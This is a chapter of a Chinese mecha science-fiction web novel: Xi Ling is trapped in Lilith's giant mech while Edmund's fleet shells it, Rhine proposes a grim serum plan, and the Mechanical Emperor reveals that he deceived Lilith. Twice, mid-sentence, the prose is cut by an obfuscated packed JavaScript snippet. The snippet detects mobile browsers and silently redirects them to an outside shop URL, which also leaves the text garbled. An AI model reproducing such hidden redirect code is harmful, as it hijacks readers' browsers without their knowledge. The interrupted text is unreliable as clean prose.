郗灵没有反驳:“你觉得自己是反派?” “……我和你说这些做什么。”超大型机甲的手心一点点攥紧,“罢了,在你们这些学生眼中,正义和邪恶不就是泾渭分明的么?” 莉莉丝承受着一千余台机甲的精神污染,思维竟还十分清晰。 她不再和郗灵废话,机甲的尾部推进器开始发热,打算以最快的速度逃离此地。 郗灵仍然没有尝试逃脱。 ——她要留在莉莉丝身边尽可能久一点。 ——莉莉丝是最后一个和萧寒剑接触过的人,她说不定知道萧寒剑去了哪里。 眼见超大型机甲展开平衡翼,郗灵急忙换了种思路:“你打算怎么利用我的力量?” “无可奉告。”莉莉丝说。 “你会用我的力量,来建设第七扇区吗?” “这与你无关。”莉莉丝又说。 郗灵敏锐地捕捉到对方的情感波动。 她在颤栗,她在兴奋。 这样复杂浓烈的情感,唯有莉莉丝失口提及芬迪尔的理想时,才会不经意流露出来。 磅礴艳丽的火焰在超大型机甲尾部点燃。 在巨大的推进力下,这个扭曲畸形的庞然大物开始缓缓移动,有如史前巨物漫游在荒凉的太空中。 * 母舰指挥台上,埃德蒙一拍桌子:“点火!” 维卡惊得跳起来:“埃德蒙副官!” “我是第七军团临时提督,有权代行萧寒剑上将的一切职务!”埃德蒙厉声批驳,又在总指挥频道高声下令,“战斗部,锁定郗灵的坐标,瞄准她发射歼星炮!” 这句话一出,别说维卡,就连焦新叶等人都倒吸一口凉气。 炎琳弱声求情:“埃德蒙副官……不,埃德蒙提督……” “郗灵如今正与莉莉丝女士周旋,请大家相信她的实力,她是能以一己之力摧毁生产机床的人。”莱茵不疾不徐地开口,“但是,恕我僭越,埃德蒙副官,就在刚才,您是否刻意激怒了她?” 埃德蒙尖利一笑:“太子同学,你把我想得太龌龊了,我不会拿她的生命来开玩笑。” “大敌当前,您不会浪费宝贵的时间去闲聊,但您却和郗灵聊了足足十七分钟。”莱茵的声音仍然温和,措辞却如刀子般锋利,“您的大脑已先一步做出决策,但您的良心绊住了您——恕我直言,此时此刻,您到底是第七军团副指挥官,还是临时提督?” 副官,还是提督? 前者,是听话做事、服从指令的人。 后者,是发号施令、承担责任的人。 莱茵的质问十分尖锐。 频道内的众人第一次意识到,这位完美得如同假人的联邦“太子”,竟也有咄咄逼人的一面。 他是敛起尾巴的毒蝎,是披着羊裘的魔鬼,而非洁白无瑕的瓷器。 当他展露出“不完美”的一面时,所有人竟都没有感到意外。 因为,人终究不可能是冰冷无情的器皿。 埃德蒙沉默片刻:“太子同学,这世上有你猜不透的心思吗?” 莱茵答:“请叫我莱茵。” “让战斗部继续点火,瞄准郗灵发射歼星炮。”埃德蒙重复刚才的指令,语气却平静了不少。 莱茵突然另起话题:“您知道上将如今在哪里吗?” 埃德蒙说:“这不是你该打听的事情。” 莱茵笑了:“我明白了——您认为,我军对莉莉丝的处置,决定着上将的处境,对吗?” 两个人在总指挥频道里说着哑谜。 许多人听得一头雾水,唯有几个知晓联邦风声的人面色一凝。 凯撒沉声道:“莱茵,你失态了。” “埃德蒙副官,我认为,一发歼星炮不足以撬开莉莉丝的嘴,更不会让她的心有一丝动摇。”莱茵仿佛没有听到凯撒的话,继续说道,“所以,您可以再追加一份筹码。” 嗡! 歼星炮已经开始蓄能,刺耳的嗡鸣声在船舱中回响。 埃德蒙看着莱茵的面部投影——那张精雕细琢的面庞上,是一片止水般的平静。 但不知为何,埃德蒙的心跳,突然停了一拍。 他沉声问:“什么筹码?” 莱茵轻柔地回答:“派遣一艘迷你运输船,将阿瑞斯军校的血清,抛洒至郗灵所在的那片银河中。” 嗡!! 歼星炮已经完成蓄能,巨大的光球凝聚在武器尖端,只等最后的指令。 埃德蒙的眼神一瞬间变得狠厉:“莱茵,你疯了!” “长官,我的父亲曾对萧寒剑上将说——以身殉国,是一等一的死法。”莱茵的表情依然平静。 他深吸一口气,压下内心翻涌的情感:“埃德蒙副官,您只凭看到的冰山一角来臆想他们良心尚存,却不知一颗苹果展示给客人的,只会是没有腐烂的、最光鲜的那部分。” 顿了顿,他低声道:“您想和那群政客谈判,但他们并不会因你力挽狂澜,便俯耳听你一言,除非——你真的动摇了他们的利益,乃至于让他们产生恐惧。” ——不要怜惜郗灵的性命。 ——比起一场战争的胜利,她才是那群政客最垂涎的东西。 凯撒轻叹一声:“莱茵……” 嗡!!! 一级指挥官在频道中问道:“埃德蒙副官,是否发射歼星炮?” 埃德蒙深吸一口气:“发射。” 轰!!! 整个舰队的能源系统运行至阈值,一束洁白的光束从炮口尖端发射而出。 母舰微微震晃。 总指挥频道中,所有人的面部投影都因此抖动了两下。 但莱茵的面庞依然平静至极。 “焦新叶,你还可以调用多少血清?”埃德蒙问。 他采纳了莱茵的方案。 他做出了妥协。 他低下了因理想而高昂着的头颅。 焦新叶回答:“没有了,埃德蒙副官,那两箱血清已是我们全部的库存。” “你知道如何制作血清吗?”莱茵突然问。 焦新叶有些疑惑:“我当然知道,但这里没有原材料……” “原材料我会给你配齐,你最快多久能制成?” 焦新叶听到莱茵的话,微微一怔。 她回忆在联邦智库中看到的一条条秘辛,心思百转千回之下,于刹那间锚定了一个惊世骇俗的猜想。 莱茵…… 总统…… 难道说…… 焦新叶强行压下那个可怕的猜想:“提炼血清的工艺并不复杂,只要有原材料和设备,我立刻就能制造出血清。” “那么,我马上来找你。”莱茵说,又对埃德蒙副官道,“埃德蒙副官,请允许我离开十分钟。” “十分钟能做什么?”埃德蒙皱起眉头。 “十分钟,只够我做一件事。”莱茵微笑道,“但做完这件事,血清的原材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758858|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料就可以备齐了。” 焦新叶目光游离,后背已沁出冷汗。 埃德蒙心脏狂跳,却终究没说一个“不”字。 “去吧。”埃德蒙缓缓坐下,“事成之后,我会负责指挥你的队伍,你直接去医疗部吧。” 莱茵颔首:“谢谢。” 莱茵和焦新叶双双下线。 一分钟后,医疗部发来紧急通讯,又很快挂断。 时间在这一刻格外漫长。 埃德蒙盯着频道成员列表中两个灰色的名字,深呼吸数次后,终于再也无法忍耐,右手用力握成拳头,“嘭”地砸上了面前的操作台。 维卡颤着嗓子,故作轻松地打圆场:“埃德蒙副官,扣5分!” 没人敢笑。 这句滑稽的玩笑,竟然无法冲淡频道中凝滞的气压。 但埃德蒙突然笑了一下:“我可不是学生,没有积分可扣。” 顿了顿,他又怅惘地说:“是啊,你们是学生,本来就不该卷进这场战争……” 凯撒适时另起话题:“埃德蒙副官,接下来,我们要做什么?” “继续分析郗灵传输回来的数据;在血清制作期间利用歼星炮对莉莉丝持续进行压制;让机甲部队继续待命,莉莉丝只是一枚弃子,在她之后登场的,才是我们最棘手的敌人。” 埃德蒙行云流水地下达指令。 各级指挥官立刻拆解指令,进行指挥调度。 十分钟后,焦新叶重新上线。 她的呼吸有些急促,脸色白得像纸。 埃德蒙立刻问:“莱茵呢?” “……他在医疗舱里。”焦新叶声音有些发颤,指尖也在不受控地颤抖。 她从没见过那样多的鲜血,从一个人的身体里流出,仿佛一条鲜红的河流。 疯子…… 疯子! 什么联邦太子?!什么万千天才的榜样?!什么优绩主义的代名词?! 他就是个疯子! 彻头彻尾的疯子!! 埃德蒙重新看向大屏幕左侧的窗口。 ——那里正实时显示着郗灵的身体数据。 “埃德蒙长官。”一级指挥官汇报道,“第一发歼星炮,将在3秒后抵达郗灵所在的坐标。” “好。”埃德蒙稳稳坐着,双手却一点点攥成拳头。 ——郗灵,你可千万要活下来。 ——我问心有愧,下一次,我绝不会如此欺骗你。 * 郗灵仍被超大型机甲攥在手心里。 她喋喋不休,谐波在真空里无休无止地荡开:“莉莉丝女士,我好歹也算芬迪尔长官的半个学生,既然您也认同他的理想,那我们难道不算是一路人吗?” 莉莉丝飞得极慢。 她不堪其扰:“你给我闭嘴!” 郗灵顺杆直上:“你终于理我了!太好了!我们来继续谈谈之前的事情吧——您想得到我的力量,到底是为了什么?” 莉莉丝爬满青色血管的手一点点攥紧操作杆:“你闭嘴!!” 嗡! 一阵奇异的波动引起了二人的注意。 郗灵猛然回头,却见一束洁白的光划破漆黑的太空,如一支静谧的光矢向这里射来。 郗灵意念一动,龙姬体表立刻悄然长出琥珀般的外骨骼。 但莉莉丝看到那束光束后,竟然做出了一个惊人的举动—— 她操纵超大型机甲,将龙姬牢牢护在胸口处,又转过身体,以机甲背部抵御那发威势赫赫的歼星炮! 105. 豌豆(十六) 歼星炮精准击中了超大型机甲的背部。 郗灵早已提前释放外骨骼,并且开启了聚能护盾。 但莉莉丝驾驶的这台超大型机甲,竟仅凭一身装甲硬抗下了这道攻击! 这台超大型机甲由一千余台机甲拼接组装而成,模样虽滑稽笨重,却如同一座可移动的军事要塞。 那发威势赫赫的歼星炮,并未击穿机甲的装甲,只在背部烙下一道丑陋的灼痕。 可受此重击,超大型机甲散发的谐波愈发紊乱狂躁。 机甲师与机甲的感知本就相通。 郗灵能清晰感受到,那只攥着龙姬的巨大铁手,因受创的剧痛微微松了一瞬,却又很快重新握紧,仿佛握住的是一根救命稻草。 ——埃德蒙竟然真的发动了攻击! 郗灵还来不及震惊于埃德蒙的冷静与狠戾,下一秒,又一束洁白的光束跨越银河而来。 那是第二发歼星炮! 凡事只有零次与一万次。 埃德蒙既然对莉莉丝发起了进攻,便绝无半途收手的可能。 龙姬仍被攥在掌心。 郗灵感受着超大型机甲震颤的力道,想象出莉莉丝承受攻击时的剧痛:“你为什么不开启聚能护盾?” 莉莉丝沉默片刻:“我不会。” “我可以教你。” “我拒绝!”莉莉丝没给郗灵半点示好的余地。 轰! 第二发歼星炮接踵而至,精准命中超大型机甲。 宇宙本无法传声,但透过高频震颤的谐波,郗灵还是听到了莉莉丝痛苦的闷哼。 埃德蒙的攻势没有半分停歇,第三发歼星炮已近在咫尺。 郗灵再次追问:“你想学会怎么开启聚能护盾吗?” “你给我老实点!”莉莉丝的回答冷硬如铁。 驾驶舱的灯光明灭闪烁。 莉莉丝死死盯着那道洁白的光束。 她蜷缩着抱住自己,可不过一瞬,便猛地松开手臂,一点点攥紧了面前的操作杆。 她瞳孔涣散,显然已痛到极致,却仍睁大双眼,直视着那发跨越银河而来的歼星炮。 光束越来越近,近了——来了! 莉莉丝的眼睑猛地抽搐了一下。 死神的啸叫在她脑中回荡,无尽的恐惧瞬间攫住了她。 嗡! 一面由六角蜂窝网格构成的半透明护盾,骤然出现在莉莉丝眼前。 是郗灵操控着龙姬释放了聚能护盾,拦下了那道洁白的光束。 郗灵的声音再次响起:“我可以教你开启聚能护盾的方法,这是拘束装甲的自带功能,每个驾驶机甲的人都应该学会。” 莉莉丝凝视着那面护盾。 她的态度终于松动了些许:“我知道,你想从我这里打听凤凰上将的下落。” 郗灵立刻接话:“上将她……” “她来找过我,软磨硬泡劝我向联邦低头,未果后又痛骂我一顿,便头也不回地走了。”莉莉丝的语气说不清是愤懑还是平静,“她倒是给我做了个好榜样——联邦未必忌惮我,却十分忌惮她。” 莉莉丝说话时,郗灵的心跳接连乱了几拍。 ——从莉莉丝的话里听来,萧寒剑怕是已被联邦的人带走了! 郗灵还想追问,可莉莉丝心思敏锐,只给了她一点皮毛信息,便掐断了这个话题:“教我展开护盾。” 第四发歼星炮已出现在视野中。 郗灵老老实实地教学,没有耍任何花招。 但莉莉丝学得极慢,最终还是郗灵再次展开聚能护盾,替她挡下了这一炮。 莉莉丝又一次看向那面护盾。 她通过谐波传递的话语虽然模糊,郗灵却硬是听出了几分咬牙切齿的意味:“你再教我一次,我可以告诉你更多事。” 郗灵渐渐摸清了莉莉丝的性子。 此人极不喜欢欠人情,比起求助他人,宁愿自己头破血流地撞南墙。 但郗灵不打算再追问萧寒剑的下落了:“只有你一个人上战场吗?” ——第七军团已进入一级迎战状态。 ——埃德蒙的判断不会出错,在莉莉丝背后,一定还有更加强大的敌人。 莉莉丝哽了一下:“换个问题。” “不,我就要问这个。”郗灵态度坚决。 莉莉丝直接闭紧了嘴巴。 她将龙姬攥得更紧,生怕郗灵逃脱,同时操控超大型机甲加快飞行速度,试图逃出这片被歼星炮锁定的战场。 郗灵一边寻找逃脱的时机,一边大脑飞速运转。 ——莉莉丝为何需要龙的力量? ——她想得到龙的力量,仅仅是为了让第七扇区成功独立吗? 可埃德蒙的追击仍在继续。 轰! 轰! 轰! 宇宙听不见声响,但郗灵能清晰感受到超大型机甲的剧烈震颤。 莉莉丝竟又硬抗了三发歼星炮! 因为机甲处于飞行移动状态,这三发炮弹并未击中最坚固的背甲,而是分别命中了三处脆弱的机械关节。 一条由数十台量产型机甲拼接而成的手臂断裂、脱落,飘向茫茫太空。 郗灵眼尖地瞥见其中一台机甲的涂装——那是新十一军团的徽记纹样! 郗灵喃喃低语:“芬迪尔老师……” “我记得你说过,你是芬迪尔的学生。”莉莉丝突然开口,“你这么年轻,他早已离世,你怎会是他的学生?” “我在觐见之塔中和他共处了七年。”郗灵没有隐瞒。 莉莉丝沉默片刻,又问:“那凯兰呢?” 凯兰·兰奇,芬迪尔的后人? 那个用狙击枪爆掉她的脑袋的人? 莉莉丝竟然认识他? 电光火石之间,郗灵回忆起凯兰曾对她说过的话: ——“她在第七扇区捡到我的时候,我还是个病怏怏的孤儿。” ——“她后来知道了我的姓氏,说自己不该教坏芬迪尔的后人。” ——“她掏光所有积蓄,买了一张去第一扇区的船票,还托了个熟人送我去读书。” ——“她说,我应该有光明的未来。” 郗灵一时怔然。 黑手党教母的养子,成了联邦高官的白手套。 他念过书,读过大学。 他明明是个心系光明的人。 真是……造化弄人。 但郗灵没忘记莉莉丝还在等她回答。 犹豫片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764695|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郗灵终究说了实话:“他暗杀我未遂,如今在我手下做事。他欠我一条命。” 莉莉丝嗤笑一声:“你倒也算诚恳。” 郗灵没接话,目光却瞥见十数发歼星炮正飞射而来。 既然已探得萧寒剑的下落,也采集到了超大型机甲的数据,她便没必要继续逗留。 龙姬雪白的拘束装甲下,一缕缕细碎的金火开始溢出。 郗灵准备开启暴走。 可就在这时,莉莉丝却回答了郗灵先前的问题。 “我是一个人来的。”她的声音平静得近乎麻木,“我做了一件无法回头的错事,如今想来,竟是与虎谋皮,反倒把自己赔了进去。” 轰轰轰——! 十数发歼星炮轰击在超大型机甲的钢铁巨躯上。 莉莉丝发出痛苦的闷哼,任谁都能听出,她已是强弩之末。 但郗灵逃脱的动作骤然停了下来。 一个糟糕的猜想,瞬间出现在她的脑海中。 ——能在如此短的时间内,组装出这样一台堪称奇迹的超大型机甲,除了那个家伙,她想不出第二个人选。 郗灵猛地咬紧牙关:“……是机械帝皇?” 下一秒,令郗灵毕生难忘的一幕发生了—— 这台承受了十数发歼星炮攻击的超大型机甲,周身已不可避免地出现损毁,但其高大扭曲的铁躯仍如一座移动的要塞,即便伤痕累累,也不曾停下反抗的动作。 可机甲那张巨大的面甲上,突然开始闪烁起雪花状的斑纹。 这面甲由几十个屏幕拼接而成,宛如碎裂的镜子。 数息后,一张冰冷的、酷似人类的机械面庞,赫然出现在屏幕之上。 银河中,无人目睹过机械帝皇的真容。 这位无机世界的统治者,永远坐守在机械母星,随星云的轨迹四处漂流。 郗灵也从未见过他。 哪怕在第七军团母舰上,他也只是借着墨菲的嘴巴,如戏弄猎物般与她对话。 歼星炮接踵而至,宛如漫天流星。 郗灵目眦欲裂:“机械帝皇!!!” “多么美丽的眼神啊,宛如燃烧的火焰,竟让我的机械心脏开始搏动。”机械帝皇注视着掌中的龙姬,眼中闪烁着无机质的冷光,“和莉莉丝合作,是我此生第二美事——她果然是个极好的陷阱,足以轻易诱捕一头鲁莽的龙。” 郗灵几乎咬碎牙齿:“你是怎么欺骗她的?” “欺骗?这说法未免粗鲁。我只是……稍微引导了她一下。”机械帝皇轻笑出声,“我真应该记录下她当时的神情——当我提及那个词语时,她所有的高傲与自尊瞬间崩塌,既愤怒又悲哀,仿佛一只飞蛾望见了焚身的火焰。” 郗灵的心一瞬沉到了谷底。 她终于知道,为何莉莉丝愿意回答她那么多问题,却始终对最初的问题避而不谈了。 ——“莉莉丝女士,您能和我讲讲,芬迪尔的理想是什么吗?” “我对莉莉丝说,我能帮她实现芬迪尔的理想——给所有人自由。”机械帝皇的笑声轻柔却刺骨,“理想,多么美妙的词语啊。一个深陷黑暗的人,你细数她的罪孽,她无动于衷;可你提及她的理想,她竟像个纯洁的孩子,开始自惭形秽了!”